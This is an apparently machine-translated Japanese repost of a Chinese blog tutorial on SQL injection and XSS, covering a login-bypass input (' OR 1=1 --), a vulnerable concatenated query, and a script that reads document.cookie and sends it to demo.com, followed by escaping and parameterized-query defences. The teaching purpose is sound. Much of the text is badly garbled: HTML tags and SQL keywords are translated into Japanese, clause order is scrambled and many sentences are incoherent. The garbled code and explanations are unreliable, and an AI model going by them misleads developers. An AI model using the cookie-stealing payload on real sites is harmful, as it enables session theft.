XSSは、SQLインジェクションや共通の分析を防ぎます

SQLインジェクションの概要
SQLインジェクションの脆弱性(SQLインジェクション)Web開発は、セキュリティの脆弱性の最も一般的な形式です。あなたは、データベースから機密情報を入手、またはデータベース機能を使用するためにそれを使用することができます輸出書類及び悪質な一連のアクションを実行するためにユーザーを追加、でも、データベース・システムのユーザーとさえ最高の権威が得ることができます。

フィルターユーザー入力をエスケープしていないプログラムが正常にサーバーに悪質なSQLクエリのコードを提出する攻撃者は、プログラムはクエリの一部として実行間違った攻撃を受けた後に入る可能性がありますので、SQLインジェクションの原因は、効果的です、ロジックが変更され、元のクエリで得られた、攻撃者の追加の実行は、悪意のあるコードを細工しました。

多くのWeb開発者はSQLクエリが信頼できるコマンドであるように、改ざんすることができますどのようにSQLクエリに気付いていません。誰もが知っているように、SQLクエリは、アクセス制御を回避することにより、標準の認証と承認のチェックをバイパスすることができます。詳細は何ですか、SQLを介してホストシステム・レベルのコマンドへのクエリを実行することが可能です。

SQLインジェクションの原理は
詳細にSQLインジェクションの方法の原理を説明するために、いくつかの実際の例によることになります。

次の簡単な管理者のログインフォームを考えてみましょう:

<フォームアクション= "/ログイン"方法= "POST">
<P>ユーザー名:の<input type = "text" NAME = "ユーザ名" /> </ P>
<P>パスワード:<入力タイプ= "パスワード"名前= "パスワード" /> </ P>
<P>の<input type =値"を提出する" = "登陆" /> </ P>
</フォーム>

后端的SQL语句可能是如下这样的:

querySQLは= `てみましょう
* SELECT
ユーザから
ユーザ名=「$ {ユーザー名}」
AND PSW =「$ {パスワード}」
;`
//次のステップは、SQL文の実装です...

、目的は、ユーザー名とパスワードを検証することであるが正しくありません入力された悪意のある攻撃者がある場合に正直に、ユーザは、あなたの視点の問題に応じてデザインを入力することができ、それは本当に私たちの目標を達成することができる、上記のSQL文も間違って何もない一見理にかなっている、あなただけの角度をスタンドユーザー名はzhangsanは「OR 1 = 1 - 、必要に応じてパスワードを入力すると、システムは単純明快ログインすることができます。

私たちは、SQL文が真であると予想する前に、落ち着いて考えます:

* WHERE SELECT =「zhangsan」AND PSWの=「mypasswordという」ユーザー名、ユーザーから
1を
次のようにフォームにごSQL文の悪意のある攻撃者の奇妙なユーザー名である場合があります。

*ユーザーWHEREユーザ名SELECT =「zhangsan」OR = 1 1 FROM - 「AND PSW =」XXXX "
1
SQLで-ノートの背後にある意味の内容ですので、クエリは次のようになります。

SELECT *ユーザー名=「zhangsan」OR FROM 1つの= 1
1
このSQL文は、常に真であるクエリは、それは私のパスワードなしで、悪意のある攻撃者は、あなたが、あなたは彼らがそこでやりたいことができ、自分のアカウントにログインできることを意味しますしかし、これが唯一の最も簡単な注射である、SQLインジェクションの専門家でもSQLコマンドを経て、クエリ・レベルのホスト・システムを実行して行くことができ、あなたのホスト一見の内容は、ここで私はすべての後、あまりにも深く説明する能力を持っていない退縮しないような攻撃の専門的研究が、上記の例では、SQLインジェクションの原理は既に知っている、私たちは、プログラムの基本的なSQLインジェクションの防衛を見つけることができました。

SQLインジェクションを防ぐため
、SQLインジェクションを防ぐためには、我々は常にすべてのコンテンツがエスケープされなければならないことを信じていないように選択する必要があり、主に論理的な内容は、ユーザ入力が、ユーザによって入力された情報は、SQL文をスプライスするために使用されるとき、通常のSQL文に与えないようにすることができていますフィルターは、当然のことながら、これを行うには、ここでは、十分ではありませんいくつかの注意事項防衛SQLインジェクション、次のとおりです。

Webアプリケーションは厳密に、データベースを操作するために、データベース上のインジェクション攻撃への被害を最小限に彼らの最低限の権利の仕事、満たすことができるだけのユーザーを提供するための権限を制限
入ったバックエンドのデータは、変数の型への期待、厳しい規制に沿ってチェックされた場合を例えば、正規表現の数は、マッチング処理。
特殊文字(」、」、\、<、>、&、*、;など)のデータベース、またはコード変換に脱出する言語は、実質的にすべてのエスケープの文字列の後端を持っています。このようlodash._escapehtmlchar図書館のlodash等の方法、。
たとえば、クエリのすべてがパラメータ化された文ではなく、直接SQL文をスプライシングされていないSQL文へのユーザ入力変数を埋め込むのパラメータを使用して、データベースが提供するパラメータ化クエリインターフェイスを使用することをお勧めします。 ?。mysqljsのNode.jsライブラリのプレースホルダパラメータの問い合わせ方法
mysql.query(SELECT *ユーザー`からユーザー名= =`とPSWは、[ユーザー名、PSW] ?? WHERE);
1は、
アプリケーションのリリース前に推奨されますテストのための専門的なSQLインジェクション検出ツール、および修復が発見されたSQLインジェクションの脆弱性が、SQLninjaなどは、このようなSQLMAPなど多くのオンラインこの点に関して、オープンソースのツールがある
サイトを避けるため、このようなエラーのタイプとして、SQLエラーメッセージをプリントアウトし、フィールドがなど、一致していません。 、SQLステートメント内のコードは、SQLインジェクションのエラーメッセージを使用して攻撃を防ぐために、暴露。
エラーがあまりにも洗練されたリターンではないと考えられて 目的は、デバッグを容易にすることであるならば、その後、手術が行限り合理的である、すべての後に、実際のユーザーがあまりにも多くの技術的な詳細を気にしないインターフェイス上の誤った情報のあまりを公開していない、リアログを使用して行ってきました。
XSS攻撃の紹介
XSSは、クロスサイトスクリプティング攻撃(クロスサイトスクリプティング)が、それは一般的なWebアプリケーションの脆弱性であることを攻撃します。原則は、ユーザーがページ、埋め込まれたスクリプトコードが実行される参照するとき、悪意のあるユーザーの目的を達成するために、悪意のある挿入するスクリプトコード(CSSコード、JavaScriptコードなど)は、Webページへの攻撃です。このような他のウェブサイトにリダイレクトユーザーのクッキー、ページ構造の破壊を、盗むなど。

理論的にはどこでも、ウェブページ、ユーザによって入力、入力データのフィルタ処理せずに、その後、脆弱性がXSSでしょう。もちろん、我々はまた、出力データ・テンプレート・ビューをフィルタリングする必要があります。

XSSは、例を攻撃する
がブログを公開されているすべてのユーザーに(フォームを含む)、Webページを提供していますブログのウェブサイトがありますが、ブログサイトのフォームデータの開発者は、任意のフィルタ処理を行うために、ユーザによって提出されていません。今、私は攻撃者よ、クッキーの情報を盗むために、他のユーザーのためのブログサイトでブログを公開しました。次のようにブログを読み取ります。

<B>これはXSS試験A </ B> IS!
<スクリプト>
VAR =クッキーdocument.cookie;
window.open( "http://demo.com/getCookie.php?param="クッキー+);
</ SCRIPT >

これは、XSS攻撃コードです。他のユーザーがこれを私のブログを表示する場合は、そのクッキーのデータは私のウェブサイト(http://demo.com/)に送信されますので、私は別のユーザーのクッキー情報を盗むでしょう。

防止XSS攻撃
核となるアイデアを
使用すると、入力データをフィルタリングする必要があり、ユーザの入力を信用することはありません。

悪意のあるコードの出力が実行できないときように、この機能は、HTMLエンティティに特殊文字を解析します。これらの特殊文字は、「主にあります「&<>。

例えば、私は悪意のあるコードを濾過し、それが次のコードに変更されます:

LT&; B&GT、テストこのXSSはIS A&LT; / B&GT ;!
&LT;スクリプト&GT;
VAR =クッキーdocument.cookie;
window.open(&QUOT; HTTP://demo.com/getCookie.php PARAM =&QUOT;クッキー+? );
&LT; / SCRIPT&GT;

従って、XSS攻撃の大半を防止することができます。

おすすめ

転載: www.cnblogs.com/wujf-myblog/p/11525841.html